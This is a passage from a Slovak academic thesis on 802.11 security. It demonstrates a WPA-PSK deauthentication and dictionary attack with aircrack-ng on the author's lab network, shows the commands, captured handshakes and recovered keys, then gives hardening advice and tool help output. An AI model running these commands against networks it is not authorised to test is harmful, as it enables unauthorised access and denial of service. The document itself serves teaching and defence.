· MB – udáva maximálnu fyzickú prenosovú rýchlosť. V tomto prípade sa jedná 
o štandard 802.11g (54Mbps) 
· ENC – udáva typ použitého zabezpečovacieho protokolu použitým AP.  
· CIPHER – udáva typ použitého šifrovacieho protokolu. 
· AUTH – udáva typ autentizácie do siete. V prípade využitia AS bude táto hodnota 
zobrazená ako „MGT“. 
· ESSID – udáva názov siete (SSID). 
· STATION – MAC adresa účastníka prihláseného k danému AP. Ak účastník nie je 
prihlásený k žiadnemu AP, je označený ako „(not associated)“. 
· Lost – udáva počet dátových paketov, stratených počas prenosu od účastníka založený 
na sekvenčných číslach rámcov v intervale 10 sekúnd. 
· Packets – udáva celkový počet dátových paketov vyslaných účastníkom. 
· Probes – udáva hodnotu SSID siete, na ktorú sa účastník práve pokúša pripojiť. 
CH  6 ][ Elapsed: 36 s ][ 2009-05-15 15:30                                     
                                                                                
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID 
                                                                                
00:50:7F:DC:29:B0  -47 100      365      174    4   6  54 . WPA  TKIP   PSK  Mio 
                                                                                
BSSID              STATION            PWR   Rate    Lost  Packets  Probes      
                                                                                
00:50:7F:DC:29:B0  00:14:A4:5D:43:BD  -44   48 -54    12       61 
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Útočník zo systémovej odozvy získa MAC adresu planého užívateľa siete 802.11g 
a v prípade, že neodchytil štvorcestný handshake, môže previesť útok deautentizácie na 
platného užívateľa. Útočník však musí mať otvorené dve relácie programu aircrack-ng 
súčasne, kde v prvej relácii bude odpočúvať bezdrôtové médium pomocou skriptu  
airodump-ng a v druhej relácií bude prevádzať nasledujúci útok deautentizácie: 
 
kde 
  -0 : útok deautentizácie 
 1 : počet deautentizačných cyklov. Je možné zadať i viac ako 1 (DoS) 
 -a : [ 00:50:7F:DC:29:B0 ] MAC adresa AP 
 -c : [ 00:14:A4:5D:43:BD ] MAC adresa platného účastníka WS_1 
 mon0 : výstupné rozhranie  
 
Pri využití viacerých cyklov deautentizácie môže útočník vytvoriť tzv. útok 
odmietnutím služby DoS (Denial of Service), kedy účastník WS_1 bude niekoľko krát po sebe 
odautentizovaný, čím nemá možnosť sa znovu autentizovať a tým mu bude prístup do siete 
802.11g zamietnutý. Systémová odozva druhej relácie je nasledovná: 
 
 
 Systémová odozva indikuje, že útok deautentizácie bol úspešný a skript airodump-ng 
prvej relácie zachytil štvorcestný handshake, čo je zobrazené v pravom hornom rohu 
systémovej odozvy skriptu airodump-ng: 
 
 
 Útočník počas komunikácie platného užívateľa WS_1 s AP odchytil všetky potrebné 
údaje k zahájeniu odhadu hesla pomocou slovníkového útoku. To, aký slovník útočník 
využije, závisí na dĺžke odhadu hľadaného hesla. Útočník môže prihliadať na faktory, ktoré 
mu môžu pomôcť vo výbere najvhodnejšieho slovníku ako je napr. krajina, v ktorej sa 
momentálne nachádza (určenie jazyku slovníku), charakter siete 802.11 (zložitosť použitého 
17:41:00  Waiting for beacon frame (BSSID: 00:50:7F:DC:29:B0) on channel 6 
17:41:01  Sending 64 directed DeAuth. STMAC: [00:14:A4:5D:43:BD] [29|29 ACKs] 
CH  6 ][ Elapsed: 1 min ][ 2009-05-15 17:41 ][ WPA handshake: 00:50:7F:DC:29:B0           
                                                                                           
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID        
                                                                                           
00:50:7F:DC:29:B0  -51 100      792      219    0   6  54 . WPA  TKIP   PSK  Mio          
                                                                                           
BSSID              STATION            PWR   Rate    Lost  Packets  Probes                 
                                                                                           
00:50:7F:DC:29:B0  00:14:A4:5D:43:BD  -33   54 -54      0      380  Mio 
root@mio-laptop:/home/michal# aireplay-ng -0 1 –a 00:50:7F:DC:29:B0  
–c 00:14:A4:5D:43:BD mon0 
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hesla) atď. V mojom prípade som pre jednoduchosť umiestnil tajné heslo do slovníku 
využitého programom aircrack-ng. Slovníkoví útok preto môže vyzerať nasledovne: 
 
kde 
  -w : [ /home/michal/password.lst ] cesta k zdrojovému slovníku 
 -b : [ 00:50:7F:DC:29:B0 ] filtrovanie požadovanej MAC adresy AP 
 *.cap : [ PSK*.cap ] zdrojové súbory obsahujúce odchytené pakety 
Systémová odozva: 
 
 
 Útočník finálne získal tajné heslo zobrazené v ascii znakoch. Ďalej útočník zo 
systémovej odozvy pozná hlavný párový kľúč PMK (256 bitov), blok kľúč PTK (512 bitov), 
z ktorého 1. až 128. bit tvorí kľúč KCK, 129. až 256. bit kľúč KEK, 257. až  384. bit kľúč TK 
a zvyšné bity tvoria kľúče TKM1 a TKM2. Kontrolný autentizačný kód správy EAPOL HMAC 
(128 bitov) je posledným údajom systémovej odozvy. Priemerná rýchlosť testovania kľúčov 
bola 1000 kľúčov za sekundu a bolo otestovaných približne 2 milióny kľúčov. Útočník použil 
slovník o rozsahu približne 6 miliónov záznamov čo tvorí 60 MB textový súbor. Výsledok bol 
dostavený za pol hodinu, čo v dnešnej dobre dobe nie je najlepším výsledkom. Pre tieto účely 
sa preto využíva viacero počítačov alebo špecializované zariadenia výhradne určené na odhad 
tajného hesla s vysokým výpočtovým výkonom. V tomto bode však požadovaný výsledok 
stačí a v nasledujúcej kapitole na základe dosiahnutých výsledkov bude popísaný návrh 
efektívnejšieho zabezpečenia bezdrôtovej siete 802.11. 
                                 Aircrack-ng 1.0 rc3 
 
 
                   [00:32:58] 1975232 keys tested (910.24 k/s) 
 
 
                         KEY FOUND! [ MichalMarusek ] 
 
 
      Master Key     : 14 D2 50 DA 8E F7 F3 97 2C 14 8E 67 25 D6 09 9A  
                       AA 05 06 61 47 F7 D8 1F E4 2F 71 FA 9A 4C FD 0C  
 
      Transient Key  : 10 1C 2D 82 6C BA 4A 7E 54 2A A2 05 EC 79 B9 D3  
                       E2 6D EA 0A A0 89 20 32 10 48 7B CF CA 2C 46 91  
                       F1 B1 0B 2B 9A D6 03 56 D8 BB 7A 23 24 0D CE 8C  
                       7A D4 32 68 96 C6 F0 BF B6 25 BE DE FE 64 50 AB  
 
      EAPOL HMAC     : 39 5A C1 00 04 94 42 E0 EA 2B 96 95 00 57 0B D9 
root@mio-laptop:/home/michal# aircrack-ng -w /home/michal/password.lst  
-b 00:50:7F:DC:29:B0 PSK*.cap 
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5. Zefektívnenie zabezpečenia bezdrôtovej siete 802.11 
 
 Sieť 802.11 je najčastejším terčom útokov pre jej širokú dostupnosť či už 
zamestnancami firemnej siete alebo útočníkmi s cieľom získať citlivé informácie. Nevýhodou 
bezdrôtových sietí je, že prevádzkovateľ nemôže jednoznačne určiť ktorú oblasť bude sieť 
pokrývať. Obecne neexistuje univerzálny návrh zabezpečenia bezdrôtových sietí 802.11. 
Zabezpečenie predovšetkým závisí od charakteru a použitia danej siete, preto budú 
v nasledujúcom texte popísané aspoň najdôležitejšie parametre, ktoré by mali byť dodržané 
pri návrhu zabezpečenia bezdrôtovej siete 802.11. Návrh zabezpečenia vychádza 
z dosiahnutých výsledkov tejto práce: 
a) Obmedzenie dosahu siete – založené na smerových anténach s kombináciou 
maximálneho vyžarovaného výkonu Pmax. V sieťach ISM 2,4 GHz je maximálna 
hodnota povoleného vyžarovaného výkonu rovná 100 mW. Z tohto dôvodu sa môže 
regulovať Pmax v intervale <0,100> mW. Smerová anténa určuje tvar vyžarovaného 
diagramu. Vhodnou voľbou smerovej antény sa môže obmedziť pokrytie siete 802.11 
iba na požadované oblasti (viz. obr. 5.1). 
 
Obr. 5.1: Obmedzenie dosahu siete 802.11 
 
Útočník však môže byť vybavená vysoko citlivou smerovou anténou, preto 
takéto riešenie vyžaduje prídavné zabezpečenia (viz. body b až d). 
b) Voľba zabezpečovacieho protokolu – sieť 802.11 od jej vývoja má k dispozícií tri 
šifrovacie protokoly WEP, WPA a WPA2. Z výsledkov prechádzajúcich útokov na 
jednotlivé zabezpečenia siete je zrejmé, že protokol WEP neposkytuje dostatočné 
zabezpečenie a je ho možné prelomiť behom niekoľkých minút. Najvhodnejším 
riešením je použitie protokolu WPA2 (802.11i), ktorý poskytuje najvyššiu mieru 
šifrovania a integrity prenášaných dát zo spomínaných zabezpečovacích protokolov. 
c) Voľba silného hesla – voľba tajného hesla tvorí najzákladnejšiu časť a závisí na ňom 
miera zabezpečenia siete 802.11. Sila hesla by sa mala voliť s takou mierou, s akou by  
malo chrániť dáta v rámci bezdrôtovej siete. Preto je nutné heslo uschovávať v čo 
WS_3 
AP 
WS_1 
WS_2 
Legenda: 
WS_1, WS_2 – platný 
užívatelia siete 802.11 
WS_3 - útočník 
Sieť 802.11 
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najväčšom utajení a nenechávať ho na ľahko dostupných miestach. Z dosiahnutých 
výsledkov odhalenia hesla je nutné, aby heslo nebolo slovníkového typu, obsahovalo 
malé a veľké písmena, číslice a špeciálne znaky (napr. @ # $ %). V snahe zvýšiť 
odolnosť hesla sa môže využiť tzv. zámerná chyba v písaní, kedy jednotlivé písmená 
sú nahradzované číslicami. Princíp spočíva v podobnosti niektorých písmen a číslic 
ako napríklad S a 5, I a 1, O a 0 atď. Príklad takéhoto hesla môže byť fráza „Security“ 
nahradená frázou „5ecur1ty“. Heslo musí byť dostatočnej dĺžky (vylúčenie útoku 
hrubou silou) a musí sa v dostatočných intervaloch meniť. 
d) Voľba autentizácie – v sieti 802.11 závisí typ autentizácie na typu použitého 
zabezpečovacieho protokolu. Protokol WEP neposkytuje dostatočnú silu zabezpečenia 
a preto typy autentizácie tohto protokolu nebudem rozoberať (viz. kap. 3). Protokol 
WPA a WPA2 poskytuje autentizáciu účastníka dvomi spôsobmi. Prvým spôsobom je 
autentizácia PSK (viz. kap. 4.2.3), kde celý systém zabezpečenia je závislí na sile 
použitého hesla. Druhý spôsob autentizácie je 802.11x vhodný pre stredné a veľké 
firmy s obsahom veľkého počtu účastníkov. Tajné informácie potrebné k vstupu do 
siete nevlastní prístupový bod AP ale autentizačný server AS. Zabezpečenie teda 
nezávisí iba na jednej tajnej frázy ale na viacerých parametroch účastníka (viz. kap. 
4.2.4). Najjednoduchším (najlacnejším) riešením pre malé domáce alebo firemné siete 
je autentizácia PSK (v dnešnej dobe najviac využívaná). 
 
Ako bolo uvedené v predchádzajúcich príkladoch, neexistuje univerzálne riešenie 
zabezpečenia bezdrôtovej siete 802.11. Je však nutné zhodnotiť charakter, využitie a možnosti 
daného riešenia. V súčasnosti neexistuje dokonalé zabezpečenie, ale vhodnými metódami 
môžeme zvýšiť mieru zabezpečenia. Preto je vhodné používať najnovšie zabezpečovacie 
protokoly (napr. WPA2/802.11i) s dostatočne silným heslom (napr. 5ecir1ty) a neposkytovať 
tým útočníkovi mieru nezabezpečenia našej siete 802.11.  
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6. Záver 
 
 V súčasnej dobe bezdrôtové siete sú neoddeliteľnou súčasťou malých alebo veľkých 
firiem či domácností. Najčastejším druhom bezdrôtových sieťach pre prenos videa, hlasu či 
dát pracujú v pásme 2,4GHz pod názvom WLAN. WLAN využíva ku komunikácií zdieľané 
bezdrôtové médium, ktoré je všeobecne najnáchylnejšie na odpočúvanie, či prípadné útoky. 
Nezabezpečená WLAN sa stáva ľahkým terčom útočníkov a nesie najväčšie riziko straty 
dôveryhodných údajov alebo aktív. K ochrane prenášaných dát či aktív preto vznikli 
kryptografické metódy zabezpečujúce dôveryhodný prenos vo WLAN. Od vzniku prvého 
zabezpečovacieho protokolu až do dnes prešla kryptografia mnohými zmenami v dôsledku 
fatálnych slabín, ktoré spôsobili prelomenie zabezpečenia bezdrôtovej siete. Typickým 
predstaviteľom zlyhania zabezpečenia WLAN s je protokol WEP. Od jeho vzniku 
kryptoanalýza objavila niekoľko závažných nedostatkov, ktoré označili protokol WEP 
z pohľadu zabezpečenia za nedostačujúci. S jeho použitím vzniká veľké riziko straty 
dôveryhodnosti prenášanej správy. S prídavným programovým vybavením dokáže útočník 
bez nutnosti pripojenia do danej WLAN rozlúštiť tajné heslo potrebné k dešifrovaniu 
prenášaných správ behom niekoľkých minút. Typický predstaviteľom tohto typu programu je 
Airsnort, ktorý predstavuje jednoúčelovú aplikáciu na rozlúštenie tajného hesla protokolu 
WEP. K odhaleniu hesla H využíva Airsnort štatistických údajov z odchytených paketov na 
základe inicializačných vektorov IV. Z odchytených IV program vytvára n-lineárny strom, 
ktorého hĺba určuje dĺžka použitého hesla a počet ciest v strome je daná pravdepodobnosťou 
správneho hesla H. Pri priemernom sieťovom zaťažení útočník odchytil približne 300-tisíc IV 
behom 20 minút, čo predstavovalo dostatočný počet na odhalenie hesla H. Použitý operačný 
systém bol Linux s distribúciou Ubuntu 8.04. Nepoužiteľnosť  programu Airsnort nastáva, ak 
v sieti nenastáva žiaden prenos a útočník nie je schopný získať dostatočný počet IV. Takýto 
problém rieši program, navrhnutý na odhalenie tajného hesla v sieťach so zabezpečením 
WEP, WPA/WPA2 s názvom Aircrack-ng. Program Aircrack-ng obsahuje súbor skriptov 
určených k jednotlivým útokom na siete 802.11. Využíva aktívnych techník ku generovaniu 
sieťového prenosu a tým odchytiť dostatočný počet IV. Odhalenie hesla je založené na 
kryptoanalýze prúdovej šifry RC4, ktorá slúži ako zdroj heslovej postupnosti pri šifrovaní 
prenášanej správy. Odhalenie nastáva dvomi fázami, kde prvá je založená na štatistických 
údajov získaných z IV a druhá je realizovaná hrubou silou z okruhu hesiel získaných zo 
štatistických údajov. Pred samotným útokom bolo nutné nainštalovať a zkompilovať ovládač 
bezdrôtovej karty využívaný programom Aircrack-ng. Ku generovaniu prenosu v sieti 802.11 
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bol využitý útok ARP, založený na 500 ARP dotazoch za sekundu, pričom prístupový bod 
reagoval pomocou odpovede ARP obsahujúce nové IV. Pre tento účel však je nutné 
vygenerovať platný ARP dotaz závislí na algoritme pseudonáhodného generátora PRGA 
prístupového bodu AP. Pokiaľ útočník nevlastní platný ARP paket, AP naň nebude reagovať 
a útočník nezíska dostatočný počet nových IV. Algoritmus PRGA je získaný pomocou útoku 
chopchop, založený na získaní pôvodnej správy bez znalosti tajného hesla. Pri úspešnom 
útoku bolo odchytených približne 50-tisíc paketov behom 30-tich sekúnd. Výpočet potrebný 
na získanie tajného hesla trval 24 sekúnd a pravdepodobnosť správnosti hesla bola 100%. 
Útočník tým prelomil zabezpečenie siete 802.11 a môže na základe tajného kľúča dešifrovať 
všetky odchytené pakety uložené v jeho databázy. Z uvedený výsledkov preto nie je vhodné 
používať zabezpečenie protokolu WEP. V prípade vyššej bezpečnosti je treba využiť 
protokolov s vyšším zabezpečením ako je napríklad protokol WPA, ktorý vyriešil niektoré 
kryptografické nedostatky WEP-u. WPA využíva techník protokolu TKIP, ktorý odstránil 
nedostatočnú autentizáciu komunikujúcich zariadení, šifrovanie a integritu prenášaných správ. 
Protokol WPA však bol iba dočasným riešením v čase vývoja štandardu 802.11i a pretože 
neposkytoval dostatočnú mieru zabezpečenia bol nahradený novším protokolom. WPA2 
vychádzal z pôvodného protokolu WPA, avšak bol doplnený prvkami splňujúce štandard 
802.11i. Uviedol nový šifrovací štandard AES a spolu s protokolom CCMP v súčasnosti 
poskytuje najbezpečnejší prenos bezdrôtovými sieťami WLAN a je povinnou súčasťou 
nových bezdrôtových zariadení. Ako však čas ukázal, že aj protokoly WPA/WPA2 majú 
spoločnú slabinu, ktorá sa môže stať kritickou v zabezpečení siete 802.11. Tejto slabiny 
využíva aj program Aircrack-ng, ktorá je založená na autentizácií komunikujúcich zariadení 
pomocou štvorcestného handshake-u. Tento typ autentizácie je nazývaný PSK (Pre-Shared 
Key), kde základ celého zabezpečenia tvorí tajná fráza (heslo). Aircrack-ng v prípade útoku 
využíva monitorovania bezdrôtového média a odchytáva prípadné PSK autentizácie. Pokiaľ 
v sieti žiadna autentizácia nenastáva, Aircrack-ng využíva útoku deautentizácie, kde 
prístupovému bodu prikáže deautentizovať platného užívateľa. Ten sa po určitej dobe 
automaticky začne autentizovať a útočník môže odchytiť informácie potrebné k útoku. Keďže 
štatistické metódy v tomto type útoku nie sú platné (nie je možné použiť v reálnom čase) je 
nutné zvoliť taktiku slovníkového útoku alebo útoku hrubou silou. Útok hrubou silou v tomto 
prípade je neefektívny, keďže tajné heslo obsahuje minimálne 8 alfanumerických znakov 
spolu so špeciálnymi znakmi, odhalenie by trvalo približne 15 rokov pri priemernej rýchlosti 
500-tisíc testovaných hesiel za sekundu. V prípade 9 miestneho hesla by sa tento čas predĺžil 
na 871 rokov. Preto je nutné zvoliť slovníkový útok s výberom vhodného slovníku. Obecne 
neplatí žiadne pravidlo výberu slovníku, avšak útočník môže brať do úvahy, že slovník 
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nebude obsahovať reťazce kratšie ako 8 znakov. Útočník taktiež môže brať do úvahy použitý 
jazyk slovníku prípadne charakter site 802.11 k lepšiemu odhadu zložitosti hesla. Pri použitej 
hardwarovej konfigurácií CPU 2,4GHz a 2 GB RAM bolo tajné jednoduché heslo odhalené 
behom 30 minút s priemernou rýchlosťou 1000 testovaných hesiel za sekundu. Z uvedených 
príkladov je preto nutné, aby tajné heslo bolo zložité v takej miere, v akej chráni prenášané 
správy sieťou 802.11. Najlepšou voľbou hesla preto je kombinácia malých a veľkých písmen, 
číslic a špeciálnych znakov napr. @ # $ %. Pre lepšie pamätanie zložitého hesla je výhodné 
použiť metódu zámerne chybného písania, kedy sa vzájomne zamieňajú tvarovo podobné 
číslice s písmenami. Príkladom takéhoto hesla môže byť fráza „Security“ nahradená frázou 
„5ecur1ty“, kde S = 5 a I = 1. Heslo musí byť taktiež dostatočne dlhé a malo by sa 
v dostatočných intervaloch meniť.   
V súčasnosti neexistuje dokonalé zabezpečenie, ale vhodnými metódami môžeme 
zvýšiť mieru zabezpečenia. Preto je vhodné používať najnovšie zabezpečovacie protokoly 
(napr. WPA2/802.11i) s dostatočne silným heslom (napr. 5ecir1ty) a neposkytovať tým 
útočníkovi mieru nezabezpečenia našej siete 802.11. V súčasnosti neexistuje dokonalá 
ochrana prenosového kanálu a preto je nutné komunikujúce zariadenia dostatočne zabezpečiť 
novými kryptografickými metódami a tajné kľúče v krátkych intervaloch meniť. 
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Zoznam použitých skratiek 
 
ACK Acknowledge 
AES Advance Encryption Standard 
AP Access Point 
ARP Address Resolution Protocol 
AS Authentication Server 
BSSID Basic Service Set Identifier 
C  Cryptogram 
CBC Cipher Block Chaining 
CCMP Counter mode encryption with CBC-MAC Protocol 
CPU Central Processing Unit 
CRC  Cycling Redundancy Check 
CTR Counter mode 
CTS Clear To Send 
DA Destination Address 
DCF Distributed Coordination Function 
DIFS DCF Interframe Space 
DIR Diffused Infrared 
DSSS Direct Sequence Spread Spectrum 
DSSS Distribution System 
EAP Extensible Authentication Protocol 
ECC Error Correction Code 
ESSID Extended Service Set ID 
ETSI European Telecommunications Standard Institute 
FCC Federal Communication Commission 
FCC Frame Control 
FEC Forward Error Correction 
FMS Fluhrer, Mantin, Shamir 
FS Frequency Hopping 
GKE Group Key Expansion 
GMK Group Master Key 
GTK Group Transient Key 
HDR Header 
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HMAC Keyed-Hashing for Message Authentication Code 
IAPP Inter Access Point Protocol 
ID Identifier 
IE Information Element 
IEEE Institute of Electrical and Electronic Engineers 
IP Internet Protocol 
ISM Industrial Scientific and Medical 
ITU-T International Telecommunication Union 
IV Initialization Vector 
K Key 
KCK Key Confirmation Key 
KEK Key Encryption Key 
LAN Local Area Network 
M Message 
MAC Medium Access Control 
MD More Data 
MF More Fragment 
MIC Message Integrity Code 
MIMO Multiple Input Multiple Output 
MK  Master Key 
MTU Maximal Transmission Unit 
NAS Network Access Server 
OFDM Orthogonal Frequency Division Multiplex 
OSA Open Authentication System 
PCF Point Coordination Function 
PDU Protocol Data Unit 
PEAP Protected EAP 
PHY Physical Layer 
PMK Pairwise Master Key 
PN Packet Number 
PoP Point of Presence 
PPP Point-to-Point Protocol 
PRGA Pseudo Random Generator Algorithm 
PS Password Sequence 
PSK Pre-Shared Key 
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PTK Pairwise Transient Key 
PV Protocol Version 
Pw Mng Power Management 
QoS Quality of Service 
RA Receiver Address 
RADIUS Remote Access Dial-in User Service 
RN Random Number 
RTS Request To Send 
SA Source Address 
SC Sequence Number 
SDM Spatial Division Multiplex 
SIFS Short Interframe Space 
SK Shared Key 
SSID Service Set Identifier 
TA Transmitter Address 
TK Temporary Key 
TKIP Temporal Key Integrity Protocol 
TMK Temporary MIC Key 
WC Wireless Card 
WECA Wireless Ethernet Compatibility Alliance 
WEP Wireless Equivalent Privacy 
WiFi Wireless Fidelity 
WLAN Wireless Local Area Network 
WPA Wifi Protected Access 
WPA2 Wifi Protected Access version 2 
WS Wireless Station 
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Príloha 1: Manuál programu aircrack-ng 
 
Skript aireplay-ng 
Príkaz: 
 
Systémová odozva: 
 
root@mio-laptop:/home/michal# aireplay-ng --help 
Aireplay-ng 1.0 rc3 - (C) 2006,2007,2008 Thomas d'Otreppe 
Original work: Christophe Devine 
http://www.aircrack-ng.org 
 
usage: aireplay-ng <options> <replay interface> 
 
Filter options: 
 
 -b bssid : MAC address, Access Point 
 -d dmac : MAC address, Destination 
 -s smac : MAC address, Source 
 -m len : minimum packet length 
 -n len : maximum packet length 
 -u type : frame control, type    field 
 -v subt : frame control, subtype field 
 -t tods : frame control, To      DS bit 
 -f fromds : frame control, From    DS bit 
 -w iswep : frame control, WEP     bit 
 -D  : disable AP detection 
 
Replay options: 
 
 -x nbpps : number of packets per second 
 -p fctrl : set frame control word (hex) 
 -a bssid : set Access Point MAC address 
 -c dmac : set Destination MAC address 
 -h smac : set Source MAC address 
 -g value : change ring buffer size (default: 8) 
 -F  : choose first matching packet 
 
 Fakeauth attack options: 
 
 -e essid : set target AP SSID 
 -o npckts : number of packets per burst (0=auto, default: 1) 
 -q sec : seconds between keep-alives 
 -y prga : keystream for shared key auth 
 
 Arp Replay attack options: 
 
 -j  : inject FromDS packets 
 
!< output continuing > 
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Skript airmon-ng 
Príkaz: 
 
Systémová odozva: 
 
 
Skript airodump-ng 
Príkaz: 
 
Systémová odozva: 
 
Airodump-ng 1.0 rc3 - (C) 2006, 2007, 2008, 2009 Thomas d'Otreppe 
Original work: Christophe Devine 
http://www.aircrack-ng.org 
 
usage: airodump-ng <options> <interface>[,<interface>,...] 
!< output continuing > 
root@mio-laptop:/home/michal# airodump-ng --help 
usage: airmon-ng <start|stop|check> <interface> [channel or frequency] 
root@mio-laptop:/home/michal# airmon-ng --help 
 Fragmentation attack options: 
 
 -k IP : set destination IP in fragments 
 -l IP : set source IP in fragments 
 
 Test attack options: 
 
 -B  : activates the bitrate test 
 
source options: 
 
  -i iface : capture packets from this interface 
 -r file : extract packets from this pcap file 
 
attack modes (Numbers can still be used): 
 
 --deauth count : deauthenticate 1 or all stations (-0) 
 --fakeauth delay : fake authentication with AP (-1) 
 --interactive  : interactive frame selection (-2) 
 --arpreplay  : standard ARP-request replay (-3) 
 --chopchop  : decrypt/chopchop WEP packet (-4) 
 --fragment  : generates valid keystream   (-5) 
 --caffe-latte  : query a client for new IVs  (-6) 
 --cfrag  : fragments against a client  (-7) 
 --test  : tests injection and quality (-9) 
 
 --help  : Displays this usage screen 
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Airodump-ng 1.0 rc3 - (C) 2006, 2007, 2008, 2009 Thomas d'Otreppe 
Original work: Christophe Devine 
http://www.aircrack-ng.org 
 
usage: airodump-ng <options> <interface>[,<interface>,...] 
 
Options: 
 --ivs  : Save only captured IVs 
 --gpsd  : Use GPSd 
 --write <prefix> : Dump file prefix 
 -w  : same as --write  
 --beacons  : Record all beacons in dump file 
 --update <secs> : Display update delay in seconds 
 --showack  : Prints ack/cts/rts statistics 
 -h  : Hides known stations for --showack 
 -f <msecs> : Time in ms between hopping channels 
 --berlin <secs> : Time before removing the AP/client from the screen when 
      no more packets are received (Default: 120 seconds) 
 -r <file> : Read packets from that file 
 -x <msecs> : Active Scanning Simulation 
 --nocap  : Don't write pcap/ivs file (require -w) 
 
Filter options: 
 --encrypt <suite> : Filter APs by cipher suite 
 --netmask <netmask> : Filter APs by mask 
 --bssid     <bssid> : Filter APs by BSSID 
 -a  : Filter unassociated clients 
 
By default, airodump-ng hop on 2.4Ghz channels. 
You can make it capture on other/specific channel(s) by using: 
 --channel <channels> : Capture on specific channels 
 --band <abg> : Band on which airodump-ng should hop 
 -C       <frequencies>: Uses these frequencies in MHz to hop 
 --cswitch <method> : Set channel switching method 
   0 : FIFO (default) 
   1 : Round Robin 
   2 : Hop on last 
 -s   : same as --cswitch 
 
 --help   : Displays this usage screen 
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Skript airodump-ng 
Príkaz: 
 
Systémová odozva: 
 
 
Packetforge-ng 1.0 rc3 - (C) 2006, 2007, 2008, 2009 Thomas d'Otreppe 
Original work: Christophe Devine and Martin Beck 
http://www.aircrack-ng.org 
 
Usage: packetforge-ng <mode> <options> 
 
Forge options: 
 
 -p <fctrl> : set frame control word (hex) 
 -a <bssid> : set Access Point MAC address 
 -c <dmac> : set Destination  MAC address 
 -h <smac> : set Source       MAC address 
 -j  : set FromDS bit 
 -o  : clear ToDS bit 
 -e  : disables WEP encryption 
 -k <ip[:port]> : set Destination IP [Port] 
 -l <ip[:port]> : set Source      IP [Port] 
 -t ttl : set Time To Live 
 -w <file> : write packet to this pcap file 
 -s <size> : specify size of null packet 
 -n <packets> : set number of packets to generate 
 
Source options: 
 
 -r <file> : read packet from this raw file 
 -y <file> : read PRGA from this file 
 
Modes: 
 
 --arp : forge an ARP packet    (-0) 
 --udp : forge an UDP packet    (-1) 
 --icmp : forge an ICMP packet   (-2) 
 --null : build a null packet    (-3) 
 --custom : build a custom packet  (-9) 
 
 --help : Displays this usage screen 
root@mio-laptop:/home/michal# packetforge-ng --help 
